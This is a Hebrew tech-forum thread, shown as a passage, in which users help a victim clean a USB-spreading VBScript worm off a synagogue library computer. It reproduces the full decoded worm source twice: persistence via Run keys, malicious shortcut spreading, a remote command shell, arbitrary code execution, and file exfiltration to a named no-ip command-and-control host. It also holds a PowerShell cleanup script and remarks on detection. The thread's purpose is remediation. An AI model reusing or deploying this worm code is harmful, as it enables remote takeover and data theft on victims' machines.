                        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                        
                        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                        
                        for each objantivirus in colantivirus
                            security  = security  & objantivirus.displayname & " ."
                        next
                        if security  = "" then security  = "nan-av"
                        end function
                        
                        function instance
                        on error resume next
                        
                        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                        if usbspreading = "" then
                           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                              usbspreading = "true - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                           else
                              usbspreading = "false - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                        
                           end if
                        end If
                        
                        
                        upstart
                        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                            wscript.quit 
                        end If
                        err.clear
                        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                        if  err.number > 0 then wscript.quit
                        end function
                        
                        sub sitedownloader (fileurl,filename)
                        
                        strlink = fileurl
                        strsaveto = installdir & filename
                        set objhttpdownload = createobject("msxml2.xmlhttp" )
                        objhttpdownload.open "get", strlink, false
                        objhttpdownload.send
                        
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                         
                        if objhttpdownload.status = 200 then
                           dim  objstreamdownload
                           set  objstreamdownload = createobject("adodb.stream")
                           with objstreamdownload
                                .type = 1 
                                .open
                                .write objhttpdownload.responsebody
                                .savetofile strsaveto
                                .close
                           end with
                           set objstreamdownload = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        sub download (fileurl,filedir)
                        
                        if filedir = "" then 
                           filedir = installdir
                        end if
                        
                        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                        set objhttpdownload = createobject("msxml2.xmlhttp")
                        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                        objhttpdownload.send ""
                             
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                        if  objhttpdownload.status = 200 then
                            dim  objstreamdownload
                            set  objstreamdownload = createobject("adodb.stream")
                            with objstreamdownload 
                                 .type = 1 
                                 .open
                                 .write objhttpdownload.responsebody
                                 .savetofile strsaveto
                                 .close
                            end with
                            set objstreamdownload  = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        function upload (fileurl)
                        
                        dim  httpobj,objstreamuploade,buffer
                        set  objstreamuploade = createobject("adodb.stream")
                        with objstreamuploade 
                             .type = 1 
                             .open
                             .loadfromfile fileurl
                             buffer = .read
                             .close
                        end with
                        set objstreamdownload = nothing
                        set httpobj = createobject("msxml2.xmlhttp")
                        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                        httpobj.send buffer
                        end function
                        
                        function enumdriver ()
                        
                        for  each drive in filesystemobj.drives
                        if   drive.isready = true then
                             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                        end if
                        next
                        end Function
                        
                        function enumfaf (enumdir)
                        
                        enumfaf = enumdir & spliter
                        for  each folder in filesystemobj.getfolder (enumdir).subfolders
                             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                        next
                        
                        for  each file in filesystemobj.getfolder (enumdir).files
                             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                        
                        next
                        end function
                        
                        function enumprocess ()
                        
                        on error resume next
                        
                        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_process",,48)
                        
                        dim objitem
                        for each objitem in colitems
                            enumprocess = enumprocess & objitem.name & "|"
                            enumprocess = enumprocess & objitem.processid & "|"
                            enumprocess = enumprocess & objitem.executablepath & spliter
                        next
                        end function
                        
                        sub exitprocess (pid)
                        on error resume next
                        
                        shellobj.run "taskkill /F /T /PID " & pid,7,true
                        end sub
                        
                        sub deletefaf (url)
                        on error resume next
                        
                        filesystemobj.deletefile url
                        filesystemobj.deletefolder url
                        
                        end sub
                        
                        function cmdshell (cmd)
                        
                        dim httpobj,oexec,readallfromany
                        
                        set oexec = shellobj.exec ("%comspec% /c " & cmd)
                        if not oexec.stdout.atendofstream then
                           readallfromany = oexec.stdout.readall
                        elseif not oexec.stderr.atendofstream then
                           readallfromany = oexec.stderr.readall
                        else 
                           readallfromany = ""
                        end if
                        
                        cmdshell = readallfromany
                        end function
                        
                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי
                        #12

                        @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                        $vName = "hrxxryydxo"
                        $vFile = "$vName.vbs"
                        
                        Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                        
                        # 1. עצירת התהליך החי במחשב
                        Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                            Where-Object CommandLine -match $vName | 
                            Invoke-CimMethod -MethodName Terminate | Out-Null
                        Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                        
                        # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                        Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                        Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                        Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                        Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                        
                        # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                        $tempDir = [System.IO.Path]::GetTempPath()
                        $startupDir = [Environment]::GetFolderPath('Startup')
                        Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                        Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                        Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                        
                        
                        Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                        
                        # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                        $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                        
                        if ($usbDrives.Count -eq 0) {
                            Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                        } else {
                            foreach ($drive in $usbDrives) {
                                $driveLetter = $drive.DeviceID + "\" 
                                Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                        
                                # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                                Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                                Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                        
                                # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                                Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                                    if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                        $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                        $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                                    }
                                }
                                Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                            }
                        }
                        
                        Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                        

                        לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        תגובה 1 תגובה אחרונה
                        0
                        • cfopuserC cfopuser

                          @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          @cfopuser בשביל מה?

                          לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                          מתכנת חובבמ מנותק
                          מתכנת חובבמ מנותק
                          מתכנת חובב
                          מדריכים
                          כתב נערך לאחרונה על ידי מתכנת חובב
                          #13

                          @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                          זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                          עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                          תגובה 1 תגובה אחרונה
                          2
                          • ר רנדומלי

                            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                            cmd /c hrxxryydxo.vbs && start explorer [file name]
                            

                            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                            

                            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                            לאחר פיענוח הקידוד התקבל הקוד הבא:
                            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                            e
                            '<[ recoder : houdini (c) skype : houdini-fx ]>
                            
                            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            host = "khattab.no-ip.biz"
                            port = 5550
                            installdir = "%temp%"
                            lnkfile = true
                            lnkfolder = true
                            
                            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            dim shellobj 
                            set shellobj = wscript.createobject("wscript.shell")
                            dim filesystemobj
                            set filesystemobj = createobject("scripting.filesystemobject")
                            dim httpobj
                            set httpobj = createobject("msxml2.xmlhttp")
                            
                            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                            
                            installname = wscript.scriptname
                            startup = shellobj.specialfolders ("startup") & "\"
                            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                            spliter = "<" & "|" & ">"
                            sleep = 5000 
                            dim response
                            dim cmd
                            dim param
                            info = ""
                            usbspreading = ""
                            startdate = ""
                            dim oneonce
                            
                            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                            on error resume next
                            
                            instance
                            while true
                            
                            install
                            
                            response = ""
                            response = post ("is-ready","")
                            cmd = split (response,spliter)
                            select case cmd (0)
                            case "excecute"
                                  param = cmd (1)
                                  execute param
                            case "update"
                                  param = cmd (1)
                                  oneonce.close
                                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                  oneonce.write param
                                  oneonce.close
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                  wscript.quit 
                            case "uninstall"
                                  uninstall
                            case "send"
                                  download cmd (1),cmd (2)
                            case "site-send"
                                  sitedownloader cmd (1),cmd (2)
                            case "recv"
                                  param = cmd (1)
                                  upload (param)
                            case  "enum-driver"
                                  post "is-enum-driver",enumdriver  
                            case  "enum-faf"
                                  param = cmd (1)
                                  post "is-enum-faf",enumfaf (param)
                            case  "enum-process"
                                  post "is-enum-process",enumprocess   
                            case  "cmd-shell"
                                  param = cmd (1)
                                  post "is-cmd-shell",cmdshell (param)  
                            case  "delete"
                                  param = cmd (1)
                                  deletefaf (param) 
                            case  "exit-process"
                                  param = cmd (1)
                                  exitprocess (param) 
                            case  "sleep"
                                  param = cmd (1)
                                  sleep = eval (param)        
                            end select
                            
                            wscript.sleep sleep
                            
                            wend
                            
                            sub install
                            on error resume next
                            dim lnkobj
                            dim filename
                            dim foldername
                            dim fileicon
                            dim foldericon
                            
                            upstart
                            for each drive in filesystemobj.drives
                            
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                end if
                                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                    if not lnkfile then exit for
                                    if  instr (file.name,".") then
                                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                            file.attributes = 2+4
                                            if  ucase (file.name) <> ucase (installname) then
                                                filename = split(file.name,".")
                                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                lnkobj.windowstyle = 7
                                                lnkobj.targetpath = "cmd.exe"
                                                lnkobj.workingdirectory = ""
                                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                if  instr (fileicon,",") = 0 then
                                                    lnkobj.iconlocation = file.path
                                                else 
                                                    lnkobj.iconlocation = fileicon
                                                end if
                                                lnkobj.save()
                                            end if
                                        end if
                                    end if
                                next
                                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                    if not lnkfolder then exit for
                                    folder.attributes = 2+4
                                    foldername = folder.name
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                    if  instr (foldericon,",") = 0 then
                                        lnkobj.iconlocation = folder.path
                                    else 
                                        lnkobj.iconlocation = foldericon
                                    end if
                                    lnkobj.save()
                                next
                            end If
                            end If
                            end if
                            next
                            err.clear
                            end sub
                            
                            sub uninstall
                            on error resume next
                            dim filename
                            dim foldername
                            
                            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            filesystemobj.deletefile startup & installname ,true
                            filesystemobj.deletefile wscript.scriptfullname ,true
                            
                            for  each drive in filesystemobj.drives
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                     on error resume next
                                     if  instr (file.name,".") then
                                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                             file.attributes = 0
                                             if  ucase (file.name) <> ucase (installname) then
                                                 filename = split(file.name,".")
                                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                             else
                                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                                             end If
                                         else
                                             filesystemobj.deletefile (file.path) 
                                         end if
                                     end if
                                 next
                                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                     folder.attributes = 0
                                 next
                            end if
                            end if
                            end if
                            next
                            wscript.quit
                            end sub
                            
                            function post (cmd ,param)
                            
                            post = param
                            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                            httpobj.setrequestheader "user-agent:",information
                            httpobj.send param
                            post = httpobj.responsetext
                            end function
                            
                            function information
                            on error resume next
                            if  inf = "" then
                                inf = hwid & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                            
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set os = root.execquery ("select * from win32_operatingsystem")
                                for each osinfo in os
                                   inf = inf & osinfo.caption & spliter  
                                   exit for
                                next
                                inf = inf & "plus" & spliter
                                inf = inf & security & spliter
                                inf = inf & usbspreading
                                information = inf  
                            else
                                information = inf
                            end if
                            end function
                            
                            sub upstart ()
                            on error resume Next
                            
                            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                            
                            end sub
                            
                            function hwid
                            on error resume next
                            
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set disks = root.execquery ("select * from win32_logicaldisk")
                            for each disk in disks
                                if  disk.volumeserialnumber <> "" then
                                    hwid = disk.volumeserialnumber
                                    exit for
                                end if
                            next
                            end function
                            
                            function security 
                            on error resume next
                            
                            security = ""
                            
                            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                            for each objitem in colitems
                                versionstr = split (objitem.version,".")
                            next
                            versionstr = split (colitems.version,".")
                            osversion = versionstr (0) & "."
                            for  x = 1 to ubound (versionstr)
                                 osversion = osversion &  versionstr (i)
                            next
                            osversion = eval (osversion)
                            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                            
                            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                            
                            for each objantivirus in colantivirus
                                security  = security  & objantivirus.displayname & " ."
                            next
                            if security  = "" then security  = "nan-av"
                            end function
                            
                            function instance
                            on error resume next
                            
                            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                            if usbspreading = "" then
                               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                  usbspreading = "true - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                               else
                                  usbspreading = "false - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                            
                               end if
                            end If
                            
                            
                            upstart
                            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                wscript.quit 
                            end If
                            err.clear
                            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                            if  err.number > 0 then wscript.quit
                            end function
                            
                            sub sitedownloader (fileurl,filename)
                            
                            strlink = fileurl
                            strsaveto = installdir & filename
                            set objhttpdownload = createobject("msxml2.xmlhttp" )
                            objhttpdownload.open "get", strlink, false
                            objhttpdownload.send
                            
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                             
                            if objhttpdownload.status = 200 then
                               dim  objstreamdownload
                               set  objstreamdownload = createobject("adodb.stream")
                               with objstreamdownload
                                    .type = 1 
                                    .open
                                    .write objhttpdownload.responsebody
                                    .savetofile strsaveto
                                    .close
                               end with
                               set objstreamdownload = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            sub download (fileurl,filedir)
                            
                            if filedir = "" then 
                               filedir = installdir
                            end if
                            
                            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                            set objhttpdownload = createobject("msxml2.xmlhttp")
                            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                            objhttpdownload.send ""
                                 
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                            if  objhttpdownload.status = 200 then
                                dim  objstreamdownload
                                set  objstreamdownload = createobject("adodb.stream")
                                with objstreamdownload 
                                     .type = 1 
                                     .open
                                     .write objhttpdownload.responsebody
                                     .savetofile strsaveto
                                     .close
                                end with
                                set objstreamdownload  = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            function upload (fileurl)
                            
                            dim  httpobj,objstreamuploade,buffer
                            set  objstreamuploade = createobject("adodb.stream")
                            with objstreamuploade 
                                 .type = 1 
                                 .open
                                 .loadfromfile fileurl
                                 buffer = .read
                                 .close
                            end with
                            set objstreamdownload = nothing
                            set httpobj = createobject("msxml2.xmlhttp")
                            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                            httpobj.send buffer
                            end function
                            
                            function enumdriver ()
                            
                            for  each drive in filesystemobj.drives
                            if   drive.isready = true then
                                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                            end if
                            next
                            end Function
                            
                            function enumfaf (enumdir)
                            
                            enumfaf = enumdir & spliter
                            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                            next
                            
                            for  each file in filesystemobj.getfolder (enumdir).files
                                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                            
                            next
                            end function
                            
                            function enumprocess ()
                            
                            on error resume next
                            
                            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_process",,48)
                            
                            dim objitem
                            for each objitem in colitems
                                enumprocess = enumprocess & objitem.name & "|"
                                enumprocess = enumprocess & objitem.processid & "|"
                                enumprocess = enumprocess & objitem.executablepath & spliter
                            next
                            end function
                            
                            sub exitprocess (pid)
                            on error resume next
                            
                            shellobj.run "taskkill /F /T /PID " & pid,7,true
                            end sub
                            
                            sub deletefaf (url)
                            on error resume next
                            
                            filesystemobj.deletefile url
                            filesystemobj.deletefolder url
                            
                            end sub
                            
                            function cmdshell (cmd)
                            
                            dim httpobj,oexec,readallfromany
                            
                            set oexec = shellobj.exec ("%comspec% /c " & cmd)
                            if not oexec.stdout.atendofstream then
                               readallfromany = oexec.stdout.readall
                            elseif not oexec.stderr.atendofstream then
                               readallfromany = oexec.stderr.readall
                            else 
                               readallfromany = ""
                            end if
                            
                            cmdshell = readallfromany
                            end function
                            
                            cfopuserC מנותק
                            cfopuserC מנותק
                            cfopuser
                            כתב נערך לאחרונה על ידי
                            #14

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                            נראה שלא הועיל,
                            לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                            מתכנת חובבמ תגובה 1 תגובה אחרונה
                            1
                            • cfopuserC cfopuser

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                              נראה שלא הועיל,
                              לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                              מתכנת חובבמ מנותק
                              מתכנת חובבמ מנותק
                              מתכנת חובב
                              מדריכים
                              כתב נערך לאחרונה על ידי
                              #15

                              @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                              ר תגובה 1 תגובה אחרונה
                              0
                              • מתכנת חובבמ מתכנת חובב

                                @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                                ר מנותק
                                ר מנותק
                                רנדומלי
                                כתב נערך לאחרונה על ידי
                                #16

                                השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                                0
                                • ר רנדומלי

                                  השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                  מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                  מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                  גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                  @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                  cfopuserC מנותק
                                  cfopuserC מנותק
                                  cfopuser
                                  כתב נערך לאחרונה על ידי
                                  #17

                                  @רנדומלי היא כן.

                                  תגובה 1 תגובה אחרונה
                                  1
                                  • ר רנדומלי

